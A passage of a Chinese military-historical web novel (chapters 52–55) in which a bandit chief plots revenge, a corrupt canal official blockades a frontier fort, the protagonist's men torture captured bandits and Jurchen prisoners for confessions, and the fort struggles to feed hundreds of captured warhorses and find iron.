一个身影,几乎是连滚带爬,像条垂死的野狗般撞了进来。
来人浑身是早已凝固发黑的血痂,脸上污垢泪迹混作一团,最触目惊心的是左腿,被粗暴踹断,用染血的破布胡乱处理,一瘸一拐。
他爬行之处,拖出一道长长的、暗褐色的血痕。
正是昨夜从破庙逃脱的“幸运儿”。
匪徒见到山寨当家,涕泪混着血污,喉咙里嗬嗬作响,仅存的手死死指向南方,字字泣血。
“大……大当家,三当家……虎爷,虎爷他……呜呜……被南河堡那姓秦的狗官砍……砍了头啊!”
轰——!
“你说什么?”正自考虑的严彪,如遭五雷轰顶。
他脸上的暴怒瞬间被极致的震惊和不信取代,随即转化为滔天的、几乎要将空气点燃的狂怒。
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一柄狼牙短锤哐当一声砸在脚下青石板上,碎石迸溅。
“兄弟啊!”
严彪须发戟张,双目圆瞪,宛如濒死狂吼的暴熊。
他的亲兄弟严虎,就是无名破庙那个虎爷虎秃子,为山寨捕奴队大头目,即将升为四当家。
是严大当家的铁杆心腹,却突然**。
“秦——猛!”严彪眺望着北方,咬牙切齿,一字一顿:“老子若不生啖你肉,碎刮你骨,抽筋扒皮点天灯,我黑山熊严彪誓不为人!”
那柳三听到这一幕愣了愣,随即露出一个笑容。
本来要费一番口舌,这下成了!
“秦猛啊秦猛,这是你自己找死,怪不得别人呢!”柳三心中嘟囔着,脸上笑意若有若无。
“大哥,息怒……”黄奎见了心头发冷,反过来劝严彪:“不能听信一面之词,要问清楚了。”
“嗯?”严彪猛地转过身,冷冷地看着那个幸运儿。
“大当家,三当家,小的说的句句属实,我是逃出来……”那跪在地上的喽啰吓得一个激灵,磕头如捣蒜,声泪俱下地说着事情经过。
当了解事情始末,更听到“官兵冲进来就**”,“虎爷惨叫一声,脑袋就被人拎了起来”。
这冲天的恨意彻底冲垮了严彪心中最后一丝权衡,眼中仅存的疑虑被狂暴的血红吞噬。
他豁然站起,身上熊皮大氅无风自动,手掌砰一声拍在扶手上,坚硬的黑檀木瞬间爆裂纷飞。
“好,这买卖本当家接下了。”
严彪红着眼盯着柳三,吼声如同猛兽咆哮。
“回去告诉你背后的主子,把银子、粮食准备好,就在这几日,老子会带人踏平小小土堡。”
“好,那坐等大当家的好消息。”柳三笑着应下,随后起身拱手告辞,迅速离开这个贼匪窝。
“慢走,不送。”严彪冷冷开口。
黄奎目送柳三离去,啐了声“狗东西”,转身看着严彪,问道:“大哥,要不要派人通知二哥?”
“哼,不用了。”严彪愤怒渐消,沉着脸说道。
冷艳山二当家“双尾狐”韩勇,边堡出身,后来**来袭,边堡被捣毁,为活命逃入深山,饥寒交迫被严彪所救,为报恩加入山寨。
“老二身在山寨,却只管山寨维系,终究与我们不是一路人,若是知道我等攻打边堡,定会劝说阻拦。”严彪眼神闪烁,脸色愈发阴沉。
“三弟,点齐山上所有兄弟,准备物资器械,把马喂饱了,三日之内——”他牙齿咬得咯咯作响,每一个字都像是浸透了严虎的血沫。
“踏平南河堡!血债血偿!用姓秦的脑袋,祭奠虎子!也给幽州那边……交一份‘漂漂亮亮’的货!”
那“货”字出口,森寒刺骨,带着无尽的血腥与残忍。
聚义厅中,熊熊燃烧的不仅是火把,更有这悍匪焚尽一切的复仇烈焰。
第52章 刘判官封河毒计
时间往前追溯半日,上午。
幽州境内蜿蜒的运河水道,河面漂浮着细碎的薄冰,在灰白日头下,反射着刺目的冷光。
凛冽朔风顺着河道呼啸,挟带着刺骨的寒意。
水路的便利远超陆路千山万壑。
纵使濒临冰封,却仍有大批船队冒险北上。
大大小小的货船上,满载着从中原、江南十余州府运来的粮食、棉花、茶叶、布帛与陶瓷……
这些货物送抵边镇,充作军需。
流入草原,换取皮毛牛羊,转手便是十几倍的暴利。
运河两岸主要城镇码头上,卸货、议价之声喧嚣鼎沸。商人的焦灼与贪婪在寒风中发酵。
突然,密集沉重的马蹄声踏碎了码头的喧嚣!
一队队盔甲鲜明的幽州地方军卒疾驰而来,刀矛闪寒光,迅疾封锁了各处闸口、码头。
为首的军官亮出公文,厉声宣告:“奉幽州府漕运司严令!河道壅塞,自上月底起全线巡检整饬。往来商旅无特批‘漕引’,一律禁行!
违者,船货没收,严惩不贷!”
恐慌如瘟疫般炸开。
“这时候封河?冰要上冻了啊!”
“整饬运河?往年哪有这事?”
“大人,船上是边镇救命棉布啊!”
无数满载货物的商船被逼停回港,如同陷在冰面的困兽。
时间每流逝一刻,河道彻底封冻的阴影便迫近一分。
一旦雪落冰封,巨额投入将血本无归。
码头的喧嚣混乱,最终化为一条条焦灼的暗流,向着运河中枢、幽州府城的权力核心汇聚。
傍晚,幽州府衙。
时值残阳西坠,将府衙森严的飞檐,斗拱,梁柱涂抹上一层暗金色,仿佛涂满了冷却的血漆。
一方格调雅致却透着肃杀气的书斋内,漕运转运判官刘德福端坐在古雅的黄花梨太师椅上。
室内炭火烧得很足,温暖如春,与外界的凛冬形成两个世界。
他白皙而保养得宜的指尖,拈着一盏薄如卵壳的定窑白瓷杯,杯中是嫩如雀舌的雨前龙井。
袅袅茶香本该令人心旷神怡,而刘德福的这份过度的“悠闲”,反而成了无形的沉重压力。
下首四张酸枝木靠背椅上,端坐着幽州地面呼风唤雨的商贾巨擘,粮、盐、铁、布四行会首。
他们身后站着十来位神色惶惶的商行领队,管事。
平日富甲一方的豪商,此刻个个额角挂着汗珠,脊背绷得笔直,竭力维持恭敬,连呼吸都刻意放轻。
后面的管事们更是低垂脑袋,眼观鼻、鼻观心,大气不敢出,恨不得缩进椅背阴影里。
屋角沉香在紫铜狻猊香炉中静燃,幽深木香丝丝缕缕,却化不开那比寒冰更刺骨的窒息氛围。
刘德福眼帘低垂,似沉浸在茶汤回甘中,又像经验老道的猎手享受猎物入套前的恐慌。
那掌控一切的快意随品茶无声流淌。
幽州漕运判官的身份在此刻尽显,威慑十足。每一寸沉默,都带着令人心悸的实权分量。
良久,杯沿轻触他丰润的下唇,“呷”一声,极细微的啜饮,在死寂中清晰如玉器碎裂。
他缓缓放下茶盏,定窑白瓷杯底触紫檀木桌面,发出“嗒”的脆响。
这声音不高,却如金石撞击般冷冽,像冰针刺进骨头缝里。
下首四大会首浑身齐齐一颤,粮商赵胖子脸上的赘肉都随之抖动。
“诸位,”刘德福终于开口,声音不高不低,像冰珠子滚过玉盘,带着不容置疑的黏腻寒意。
“你们来意本官清楚。但近来得闻些许风声……”
他略作停顿,眼皮慢条斯理撩起一线。
那眼神锐利如出鞘钢刀,寒光四射,缓缓扫过四位会首瞬间煞白的脸,仿佛用目光丈量他们项上人头的硬度。
“据说……”刘德福拖长调子,字字如重锤砸在人心坎。
“有些人心思活络,想趁冰水未封,往北边新崛起的‘小南河堡’运粮秣、布帛、精铁?”
话音平稳,却字字千钧,落在死寂室内如落石坠寒潭。
被重点关照的赵胖子再难支撑,身躯肥肉哆嗦,腿肚子打颤,硬着头皮拱手,干涩回话。
“回…回禀刘大人,边堡戍守将士……总要吃饭穿衣,备械御敌……此乃大周商贾本分……”
“吃饭穿衣?备械御敌?”刘德福嘴角牵起一丝几近于无的弧度,那不是笑容,是刻骨的轻蔑与讥讽,像在听荒诞笑话,又似对螳臂挡车的怜悯。
他白玉般的食指,带着优雅而残酷的意味,在桌案大运河舆图上缓缓划过。
舆图上每条水道、每个闸口都代表财富脉络,指尖最终停在贯通幽州南北的漕河主干道中心节点。
——扼守咽喉的大型漕运闸口。
“自十月底起,”刘德福声音陡然下沉,如冰川摩擦轰鸣,字字像从冰窖凿出,“因河道淤积,所有漕船停运待检,巡检船队清淤整饬。”
食指在闸口猛然一顿,指肚用力压着舆图,几乎要戳出洞来。
“整饬结束前,未持幽州漕运司签押‘漕引’者……”
他猛地抬头,目光如淬毒钢钩,依次钉牢四位会首面孔,不容回避:“在小南运河以内!”
一字一句如断头台闸刀落下。
“一粒米!一尺布!一块铁!一根针!禁止送到小南河军堡!”刘德福眼神冰冷,最后五字从齿缝迸出,带着无上威压与砭骨杀机。
“凡违令夹带偷运者,商船扣押,货品没官充公!”他冷酷宣判,语调渗入恶毒挑衅。
“若有哪位想冒抄家灭门之险……”
刘德福拈着杯盖的右手随意一拂。
“咚!”定窑茶盏顿在桌面,茶汤并未荡出,却如千钧巨锤砸在众人心头!
噗通!几个管事当场腿软跪倒。
刘德福目光如冰封寒渊,扫过众人惨白的脸色,凝聚在四大会首身上,嘴角扯出森冷笑意。
“诸位不妨试试!看是你们人头够硬、家底够厚,还是本官的运河闸口更硬更牢、更不可逾越!”
书斋时间仿佛冻结,陷入令人发狂的真空死寂,落针可闻,唯余心跳闷响与沉香烟气
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绝望扭动。
窗外夕阳最后猩红余晖漫过权力桌案,将运河舆图与封锁令卷宗染得血红,宛如凝固的泼墨血痕。
四大会首面无人色,汗透重衫,垂首缩肩如待宰羔羊,连呼吸都压抑。
死寂中,一个年轻书卷气的声音在角落颤抖响起,许是账房或小管事,带着焦急与微弱正义感。
“刘……刘大人,使不得。商路断绝,南河堡今冬必缺物资。
天寒地冻,运河将封……草原**来攻……边堡如何守?堡破……多少军民遭屠戮流离……生灵涂炭啊!”
声音如投水石子,突兀尖锐。
所有人目光聚焦那发声人,充满惊惧与复杂,有人如看**,有人眼底闪过认同与绝望。
“哼!”一声嘲讽的鼻音从主位传来,打断微弱谏言。
刘德福眼底寒光如毒蛇利齿,锁定角落人影,虚伪平和敛去,换上冰冷公事公办面孔,义正词严如宣圣谕:“生灵涂炭?本官管不着。清淤是幽州府合议命令,为万千行旅性命。”
他微微前倾,压迫感陡增,目光扫全场,语调转刻骨冷漠:“南河堡是否缺衣少食,能否过冬……自有帅司过问,守土将官承担。”
“至于守不守得住?将士是否效死?这些……”
他故意停顿,脸上浮现置身事外的残忍轻松。
“呵……与漕运何干?与本官何干?”
刘德福声音再次拔高,满是官方权威:“本官只是传上官令,诸位需体恤朝廷苦衷,莫让漕运司为难!”
软中带硬,笑里藏刀,字字诛心。
“体恤”“不为难”实则警告:谁敢挑战,日后买卖,在幽州必将寸步难行,甚至死无葬身之地。
“噗通……”赵胖子庞大身躯瘫软椅中,面如金纸,几近虚脱。无他,商队运送粮食最多。
四大会首心如明镜,这刘德福是以权谋私,这道闸口封锁令是捏住南河堡颈动脉的血手机
断水即断血,水路扼杀彻底掐死边堡借漕河补给的可能。
改走陆路?千里崎岖线成本陡增数倍,冬雪封山、道路泥泞、盗匪如蚁,其中是否有刘德福默许纵容?无人敢想敢证,亦无人敢冒险。
这重负足以碾碎根基未稳的边堡。
一座坚城断了生命线也只会在寒冷饥饿中窒息坍塌。
刘德福淡漠扫过被权势慑服如砧板鱼肉的“财神爷”,眼中暴戾杀机退去,重端茶盏,优雅撇开浮叶,神态恢复雍容平静,带着品茗怡然。
书斋内,沉香依旧。权势已在谈笑间化为巨网。
这张网,借朝廷漕运命脉织就,浸满复仇的毒汁,自幽州府衙,急速罩向茫然未觉的小南河堡。
运河断粮的铁索与草原劫掠的屠刀!
一明一暗,双刃悬顶。
正以朝廷“法度”之名与塞外野蛮之力,自冰冷河水与荒寒旷野两端,向着那座孤堡狠狠绞下。
灯影初上,商贾们狼狈离去。
书斋内烛火摇曳,映照出刘德福脸上的冷笑与狠厉,血色浩劫的绞盘已然转动,无可阻挡。
第53章 南河军寨地牢
清晨,天色渐亮。
南河军寨的寂静被一声凄厉的惨叫刺破。
“啊——”
“汪汪汪……”刘瘸子家的几条狗随之狂吠起来。
张富贵家的杀猪棚后院,这座曾经被改为养猪圈的边堡地牢里,正上演着一场严刑逼供。
“说!把做过的缺德事、跟谁勾结、坑害过多少人?
一五一十交代清楚,老子给你个痛快!”
张富贵赤裸着上身,古铜色的肌肉在微光下起伏,手里那柄锃亮的杀猪刀泛着凛冽寒光。
他揪住一个捕奴团活口的头发,将对方半边身子按在冰冷的木板上。
那俘虏的一条腿被麻绳倒吊着。
他腿肚上扎着带倒刺的木签,鲜血顺着小腿淌下,在地上积成一小滩暗红。
每挣扎一下,倒刺便更深地嵌入肉里,疼得他浑身抽搐,发出阵阵哀嚎。
此前在破庙的审问只是针对性逼供**动向,此刻这场审讯才是真正的审讯。
——要将捕奴团的老底彻底挖出来,整理成书面供词呈报飞虎大营和地方官府,依此销案。
大清早的,张富贵、王铁山这帮刚立功升职的汉子自告奋勇,非要亲手审这些祸害百姓的杂碎。
“最好老实交代,不然老子一刀一刀活剐了你!”
张富贵眼神凶狠,用宽厚的刀面“啪啪”拍打着俘虏的脸颊,每一下都打得对方脑袋发懵。
那俘虏早已被剧痛和恐惧摧垮,连连点头如捣蒜,涕泪横流地哭喊:“军爷饶命,小人说。
小人什么都说,您问什么俺绝不敢隐瞒半个字。”
“说!你们老窝在哪儿?”
张富贵厉声喝问,脚下故意碾了碾对方被倒吊的脚踝。
“在…在两百里外的冷……冷艳山!”
俘虏疼得声音发颤,断断续续地吐出了地名。
“山寨谁是头?手下有多少人?”
张富贵步步紧逼,刀刃已经贴在了对方的脖颈上。
……
牢房另一侧,秦猛一身甲胄穿戴整齐,腰间佩刀的穗子轻轻晃动,看着张富贵拷问无动于衷。
他取出昨夜拷问记录,沉声下令:“王铁山,把另一个俘虏拖到旁边牢房分开审,拿这份口供条条对照,但凡有对不上的,不用手下留情!”
“是!将军!”王铁山瓮声应道。
他立刻招呼几个如狼似虎的军汉,粗鲁地拖起另一个面无人色的俘虏,径直往隔壁牢房走。
没过多久,隔壁便传来鞭子抽**肉的“噼啪”声和更加凄厉的哀嚎,听得人头皮发麻。
秦猛用手在鼻尖前扇了扇,驱散难闻的气味,目光落在身后牢房。
——那里,铁链锁着个壮硕的身影,正是独眼龙严虎。
“哎哎,虎秃子,该你说了。”秦猛踱步到木栏前,隔着栏杆用戏谑的目光打量他。
“冷艳山的底细,你哥哥严彪手下有多少人马,马匹和装备从哪儿来的,最好主动交代。”
“哼,做梦!”严虎重重冷哼一声,艰难地扭过头,紧闭嘴巴摆出宁死不屈的模样。
经过一夜休息和军医包扎,他身上的皮外伤好了些,似乎又找回几分蛮横底气,暂时忘了前晚濒死的恐惧。
“在老子面前装硬气?”秦猛脸上浮现冰冷笑意,声音如刀。
“你一个贩卖同胞的下三烂,不够格跟老子谈条件。
你以为我不知道你盼着严彪来救你这条丧家之犬?”
严虎的独眼猛地跳了一下,眼神深处的期待暴露了心思。
秦猛低笑起来,满是嘲弄:“别做梦了,你们的底细老子早摸透了。
严彪靠着替人干脏活、从草原倒腾马匹,加上市井官暗地里送装备,才聚拢二三百号亡命徒,真以为成气候了?”
听到秦猛精准点出家底,严虎反而心头一振,觉得对方怕了,顿时来了底气。
他侧过脸,独眼死死盯着秦猛,凶狠威胁:“知道就好!我大哥手段你想象不到。
就算我折在这儿,他带着两百精锐铁骑踏平你这小破堡,屠尽堡里上下,不过眨眼间的事。”
话锋一转,他露出算计神色:“你要是识相放我回去,这事一笔勾销,冷艳山和南河堡从此井水不犯河水,如何?”
严虎能带队干捕奴勾当,自然不傻,见对方打听冷艳山,立刻想讨价还价。
“哈哈哈哈……”秦猛放声大笑,笑声在地牢回荡,充满轻蔑,“一笔勾销?井水不犯河水?”
他往前凑了半步,声音压低,带着寒意:“不用你报信,严彪过几天自会带着人马来攻堡。”
“你这话什么意思?”严虎的独眼瞬间瞪圆,心底一种不祥的预感如冰水浇头,浑身一凉。
秦猛笑容收敛,眼神冰冷:“本将凭什么告诉你?”
严虎这才后知后觉,此事有蹊跷。
再看秦猛的嘲讽笑容,哪里还不明白?
“是你,是你故意放走了活口!”严虎目眦欲裂,眼珠布满血丝,疯狂挣扎着要扑向秦猛,铁链被挣得“哗啦”作响。
“你卑鄙无耻,想用我当诱饵引我大哥来送死!”
“啪!”一声清脆的耳光响起。
严虎的骂声未落,秦猛身后的亲兵队长王善已箭步上前,蒲扇般的大手狠狠掴在他脸上。
严虎脑袋被扇得歪向一边,脸颊瞬间红肿,嘴角溢血,脑袋嗡嗡作响。
“直娘贼!你们贩卖同胞,还有脸骂将军卑鄙?”
一旁的**怒火中烧,从炭火盆里抄起烧红的烙铁,烙铁尖冒白气,他骂骂咧咧地逼近。
“今天不把你龌龊事烙出来,老子**的姓倒过来写!”
炙热气息扑面而来,严虎看着越来越近的红光,独眼里的凶悍被恐惧取代。他疯狂扭动闪躲,双腿间竟流出骚臭液体,彻底暴露色厉内荏的本质。
秦猛看着他这副怂样,眼神冷如寒冰,转身下令:“庞队将,这人交给你了。
用守备队的法子‘伺候’,让他把勾结谁、怎么贩人口、倒卖军粮的事全吐出来。
特别是南河镇的刘家,他肯定知情,按喽啰口供一条条对!只要能签字画押,死活不论!”
“是!将军您瞧好吧!”庞仁昂咧嘴一笑,露出黄牙,搓着大手走向严虎,眼里闪烁兴奋。
他身后的军汉拿出油亮的牛皮绳和带倒刺的铁签子,看得严虎浑身颤抖,死死夹紧双腿。
“啊——!”
很快,更凄厉的惨叫如鬼哭狼
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嚎般响彻地牢,压过隔壁的审问和鞭打声,听得人心惊肉跳。
地牢另一角,几个女真俘虏蜷缩在冰冷泥地上,手脚被铁链锁在石壁铁环上。
这些剽悍武士此刻衣衫褴褛,新旧伤**错,眼神或麻木或凶狠。
但听到钻心惨叫,再看到大周军汉的酷刑,即便是最凶悍的眼神,也流露深深恐惧与绝望。
秦猛走出刑讯室,恰好对上女真俘虏的目光,他咧嘴一笑,语气冰冷:“诸位别急,很快轮到你们。
老子保证让你们见识见识汉人的‘好客之道’,保管比现在还‘过瘾’。”
笑容里的寒意让靠近门口的俘虏下意识往角落缩了缩。
秦猛不再理会他们,带着亲兵走向地牢最深处。
——那里关押着此战最大的“鱼”。
袁飞和徐强早已等候,目光锁定角落身影——女真猛安勃极烈,兀鲁思。
他是赵起将军特意吩咐暂不送大营的重要人物,怕中途被截胡,待开春后上报,又是一桩大功。
此刻,袁飞和徐强正审问草原动向。兀鲁思伤势极重,胸膛塌陷,一条腿扭曲,虽经唐博抢救保住性命,脸色依旧惨白,脸上带着未消的淤青。
可即便如此,他魁梧身躯和挺直的脊梁,仍透着不同于普通俘虏的凶悍与桀骜。
“兀鲁思!草原各部动向如何?
你们来袭接应奴隶,跟谁勾结?”
牢房外,袁飞居高临下,用生硬的女真话夹杂手势喝问。
徐强补充威胁:“老实交代少吃苦头,否则,这猪圈就是你埋骨地!”
兀鲁思缓缓抬头,脸上沾污泥,双眼锐利如鹰隼,死死盯着牢门外的人。
他嘴角动了动,最终只发出轻蔑冷哼,闭眼扭脸,不发一言,仿佛眼前一切不配他多看。
无论袁飞和徐强如何威逼利诱,甚至用马肉和清水诱惑,他都如石雕般,嘴唇紧抿不泄露半个字。
“妈的,真是茅坑里的石头,又臭又硬!”徐强低声咒骂。
“早说了这法子没用。”秦猛带着亲兵走来,目光锐利盯着兀鲁思,“这种硬骨头得等伤养好了再收拾。
他不说?就当着他的面把女真俘虏凌迟处死,看他能硬到几时!”
闭目不语的兀鲁思听到熟悉声音猛地睁眼,死死盯住秦猛,眼中恨意几乎溢出。想起前晚惨败,一个照片就被打晕,他浑身肌肉绷紧。
秦猛俯身靠近牢笼,笑容冰冷:“不用瞪我,过不了多久,你只会跪着求我,求本将不要砍你家人,扎哈尔已被我宰了,你们酋长也跑不掉!”
“扎哈尔**?”兀鲁思瞳孔骤缩,心头惊涛骇浪。部落第一勇士竟**?
再看秦猛不似玩笑的眼神,彻骨寒意从脚底升起。
“走,先不问了,我有紧急军报要呈给将军。”秦猛不再理会脸色煞白的兀鲁思,朝袁飞和徐强招手,带着亲兵快步离开污秽的地牢。
兀鲁思盯着他们的背影,紧握的拳头和颤抖的肩头暴露内心的惊涛。
锁链的冰冷和身下的泥泞提醒他身为猛安勃极烈的**。
可秦猛的话像**进心里,让他越想越恐惧,所谓的勇士尊严在死亡威胁面前摇摇欲坠……
第54章 战马多了发愁
“驾,驾……”
徐强策马扬鞭,与两名飞虎精锐,三骑六马。
他们带着装有**谋克勃极烈扎哈尔的首级,金印、腰牌、令箭和至关重要的部落密图木匣。
如离弦之箭,冲出了军堡后门,卷起一路烟尘,直扑飞虎军大营方向。
重担在身,不敢有片刻耽搁。
堡内,**来袭的慌乱彻底散去,小南河军寨(原小南河戍堡)渐渐恢复了日常的秩序。
但这“日常”中已注入了迥异于前的紧迫与活力。
燧堡的箭楼,新晋队将**扶垛而立,目光锐利地扫视着前方平缓的坡地。
他麾下三十名戍卒枕戈待旦,加上额外调配的三十匹马和充足的箭矢,缓坡上那些被加固加深的陷阱,无声地诉说着防御力量的增强。
秦大壮则带领着剩余戍卒,返回了作为根基的铺堡。防御工事被重新修缮加固,巡逻队次加密。
最显变化的,是军营校场。戍卒们自发地集结,挥汗如雨地操练着。
口号声、兵刃破风声、沉重的踏步声交织在一起。
李山和刘铁柱这两个伤号,裹着箭伤,脸色还有些苍白,却倔强地不肯回营休息,裹夹在训练的队列里。
秦猛正筛选兵卒,他将全堡擅长射箭者集中起来,单独列成一队。这一队,交给袁飞来调教。这位青年是五千飞虎卫中有名的神射手。
乌维这巨汉喜欢这军营氛围,嚷嚷着也要带兵。秦猛把几个身强力壮的亲兵,又从戍卒中挑出骨架粗大的汉子,一股脑推给了乌维。
这个巨汉勇士有自己的训练方法,正适合打磨一支突击的力量。
另一边,几位飞虎军精锐毫不藏私,主动接过了指导骑兵基础和骑射技巧的担子。
缴获的五百来匹草原战马,此刻派上了大用场。
大量马匹在校场一侧腾出的临时马场中驰骋、练习。
马嘶人喊,尘土飞扬。
分成两批,冲出堡外,在荒野集训。
缴获的草原好马中有不少良驹,也被秦猛**行赏。
秦大壮、张富贵、李山等人,都分到了一匹好马,喜不自胜。
只是,数百匹战马在堡内安顿下来后,一个新的、巨大的挑战如山一般压了过来——粮秣!
马厩挤爆了,连张富贵家空闲的猪圈都被征用,临时改造成了关马的地方。
老保长领着工匠劳力日夜不停,在官署旁和军营区域紧急加盖新的马厩,但依旧捉襟见肘。
但这还不是最紧迫的。
一匹上好的战马,栓在马厩里歇着,一天也得吃掉二十多斤草料。
若是进行骑乘训练、巡逻等轻微运动,就得补充豆子、麦粒等精饲料。
若是长时间奔驰作战,精饲料的消耗更是倍增!
简单算算,一匹马每日的消耗,抵得上两个壮年男子的口粮。
这近五百匹马,对整个军寨的后勤体系,如同张开了一个无底洞。
堡内,风干的腊肉肉眼可见地减少,存粮的仓房消耗得飞快。
连堡民劳作后的餐食分量,都不得不精打细算起来。这沉甸甸的压力,远甚于**的刀锋。
赵将军允诺的扩大河滩田和十里草场,那是明**儿。
粮秣,成为眼下最迫切的问题。
十斤草料折换两斤粮食,官署的榜文告示张贴。
堡民们兴奋了,外出扒拉枯柴,分类收集草料,或是去周边村坊收购卖秸秆,轧碎送来。
与收集草料一同张贴的还有戍卒抚恤具细。强调家属获得补助,孩子能上学,解决后顾之忧。
这份压力,直接转化为了戍卒们更严苛训练的动力。
寨兵已明确划分骑兵,弓箭手,步兵,但训练简单粗暴,站军姿,体能训练,近身格斗等该有的项目不分兵种,目标直指实战所需。
看的是实打实的本事和胆气,没有半点含糊。
一时间,校场上的汗水气息更浓,喘息更粗,竞争的目光也更加炽热。没人抱怨残酷。
这是实实在在的保命、吃饭的本事!
铁匠工坊,是堡内最重要的地方之一。原本杂乱无章的局面被李铁匠规划,划分为明确的两区,
“民生坊”负责打些农具杂器,赚堡内百姓的几个工钱。“军工坊”则成了铁甲与兵刃的熔炉。
缴获的断损武器,铁甲,送到工坊熔炼修缮。
有经验的铁匠仔细敲打着弯曲变形的弯刀,把它们一点点掰直,煅打成**,打磨锋利。
断裂的枪头在铁钳下重新熔合修复,确保装上木杆就是杀敌利器。
学徒们奋力拉动巨大的木质风箱,炉火受激,猛地向上一窜,贪婪地舔舐着简易的棚顶。
抡锤的汉子手臂肌肉鼓胀如铁,铁锤带着风声,化作一道道密集的残影,狠狠砸在烧得赤红的铁胚上。
整个工坊弥漫着硫磺燃烬、灼热汗水、生铁血腥混合在一起的独特气息,粗犷而充满力量。
七八座熔炉日夜不熄,吞吐着暗红的火舌。
工坊内温度极高,如同熔岩地狱。
李铁匠只穿一条磨得发亮的麻裤,古铜色的上身虬筋暴露,汗珠滚落便被炽热空气蒸干。
他正指挥匠人改善熔炉:“不不,风箱配两个,左右各一个,目的是使火焰更烈,火要烧透。”
这显然是听了秦猛的建议,改良熔炉。他正带着两个十五六岁的半大小子学徒,协助木工。
“猛子哥!”两学徒看到魁梧的秦猛巡视到近前,眼神又是敬畏又是好奇,撇下活儿来迎。
“浑球,叫秦将军,秦知寨。”李铁匠劈头就骂了一句。
秦猛却毫不在意地摆摆手:“李叔,叫啥都行,您这一声响亮就成。咱不兴那些虚头巴脑的规矩。”
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“猛哥儿,”李铁匠抹了把汗,指着旁边一座新改良的熔炉:“你说的那法子,真管用。
从山上弄来的铁砂,先用大木桶流水淘洗去泥石杂质,再入炉熔炼,嘿!出来的铁汁子就是不一样,清亮了不少,打出来的铁更纯更韧。”
秦猛松了口气:“那就好,辛苦李叔了。”
他从怀里掏出一张简单的草图。上面画着几个弧形的弯曲铁块,形如展开的月牙。
“这……是个啥?”李铁匠凑过来,好奇地问。
“马蹄铁。”秦猛解释:“您看成是给马穿上的铁靴子。
钉在马蹄子上,马跑起来更稳当,走山路石路都不怕磨破蹄子,也能防地上的铁蒺藜扎伤。还有这,双马镫,比**用的单马镫稳当得多。”
他又在另一处画了副双马镫。
“马靴子?双马镫?”李铁匠皱着眉,对着草图琢磨了好半晌,又看了看棚外拉车的战马。
他终于用力一点头,“嗯,猛哥儿你这脑子,尽琢磨些稀奇又管用的物件。能打,不过……”
他顿了顿,指着工坊一角堆积的**弯刀和铁甲:“修缮这些没问题,用不了多少铁料。
可要打出这些马靴子和马镫,这尝试,估计很耗铁料!库房里那些铁锭,还有咱们淘洗的铁砂熔出的铁锭,眼瞅着,这又快见底了。”
“这么快又没了?”秦猛眼皮猛地一跳。
这铁料,消耗惊人呐!常氏粮行送他的两次。可这几天堡内大兴土木、铸造兵器,农具,花销的铁料数量远超粮食消耗,是个大问题。
“缺啊!猛哥儿你看看,”李铁匠指着一旁热火朝天的场景,露出个无奈又焦灼的表情。
“现下这十几个铁匠,光是打造箭头,枪头修补兵器、造伐木锄地的锄头铁锹就用料甚巨。
这还没算正经锻造铁甲呢!那才叫吞铁的老虎嘴!”
他声音带着铁匠特有的洪亮和一股子铁腥气:“你画的这马靴子(马蹄铁)和双马镫是好东西,可造出来,每个都得是实打实的精铁,耗料更狠!库房里……真撑不了几天啦!”
“行,行吧!”秦猛看着工坊里映着汗水和火光的急切面孔,听着那密集如鼓点般的打铁声,感受到那扑面而来的铁的热浪,重重地点了点头。
他转身向外走去,只留下一句,“你们负责打到装备就行,这铁料的事儿,我来想办法。”
工棚外,正午灼热的阳光照下来。
秦猛深吸了一口气。风里是草料、马粪和炉火的气味。
钱、粮、铁、人……千头万绪如藤蔓缠绕。但听着军营校场上努力操练的身影,听着工坊里连绵不绝的锻造声,看着堡民开拓荒地……
他紧锁的眉头没有一刻舒展,眼神却愈发坚定。
堡寨,已在淬火砺锋。
物资与时间,成了最昂贵的敌人。
第55章 **
“将军,将军,地牢那边有紧要口供!”
秦猛正规划着堡寨未来,**兴奋地跑了过来。小伙子铁甲溅着血迹,显然刚亲手施过刑。
秦猛眼神一凝,立刻起身:“走!”
二人疾步前往阴冷地牢。
一夜撬开的嘴巴非同小可。严虎及两个心腹喽啰的口供彼此咬合,又翻出冷艳山罄竹难书的罪状。
经过整理,一笔笔血债赫然在目:
数年间,匪徒肆虐边陲,掳掠边民过千人。
时间、地点、劫掠财物牲畜、乃至被掳女子的凄惨遭遇,皆条分缕析,形成一册血泪铁证!
先一步赶到的袁飞翻阅后,怒极反笑,指节捏得发白:“此等豺狼,挫骨扬灰亦不解恨。”
“所以,对待这种人不能心慈手软,当斩草除根。”
秦猛接过那沉重册子,冰冷的触感自指尖蔓延。
他眼神寒彻如冰渊,“这件掳掠案是本官破获的。管他背后是谁,但凡露头,一概碾碎。”
他即刻喝令文案:“依此口供、账册,速拟公文。一式三份,务求条理清晰,铁证确凿!”
随即,他召集老保长王槐、诸葛风、秦大壮及军寨核心队将,连同袁飞,返回新近落成的官署。
那浸透血泪的记录传阅下去,不识字的由诸葛风低沉念诵。
顿时,满室杀气弥漫,压抑的粗喘与铁拳砸案声不绝。
“多余的话不说了。”秦猛豁然起身,目光如刀扫过众人。
“诸葛风、张富贵!”
“在!”
“着你二人,领一队精兵,即刻护送所有被解救边民及家属,前往青阳县衙擂鼓鸣冤。
其一,呈交匪徒罪证,定要官府明确剿匪态度,同时索要钱粮布匹、药材工具等必需之资。
其二,就地招募青壮劳力、各行工匠,许以军寨安身立命之机,采购粮食,铁料物资等。”
“遵令!”二人慨然领命。
“秦知寨。”突然,老保长王槐神色凝重地出言,“还有一事。前夜救回的百姓里,不少青壮说感激大人,执意投军,家眷愿扎根寨中。
那些被掳的姑娘妇人们……大多不愿归家,恳求留下。更有几人已有轻生之念,幸得堡中妇人日夜守护劝导。”
老人长叹一声,眼中尽是愤懑:“造孽啊……”
“该死!”秦猛甫一疑惑,本想追问“为啥不走”,待听到“轻生”二字,胸中杀意轰然炸开。
无他,这些无辜女子已被匪徒玷污。
堂下袁飞、张富贵,李山等诸将更是目眦欲裂,恨声咒骂不绝,恨不能立时发兵踏平匪巢。
“秦大壮!”秦猛声沉如铁。
“末将在!”秦大壮应声,踏前一步。
“你点队人马,飞驰南河城寨。面见魏知寨,详陈冷艳山匪患罪行、冬季**哨探动向。
先行铺垫——地方若无能,勾结纵容,自有我边军来铲!趁机向老上官申请调拨或购买火油、**、铁料,并在彼处招募民壮从军……”
“得令,定不负将军所托!”
不久后,诸葛风与秦大壮两路人马扬尘出寨,为这嗷嗷待哺的新生军寨,去争夺维系命脉的资源与人口。
秦猛匆匆回家,用过午饭,与陈月娘、秦小芸稍叙了几句家常,便大步流星赶往军营,督促兵卒操练。
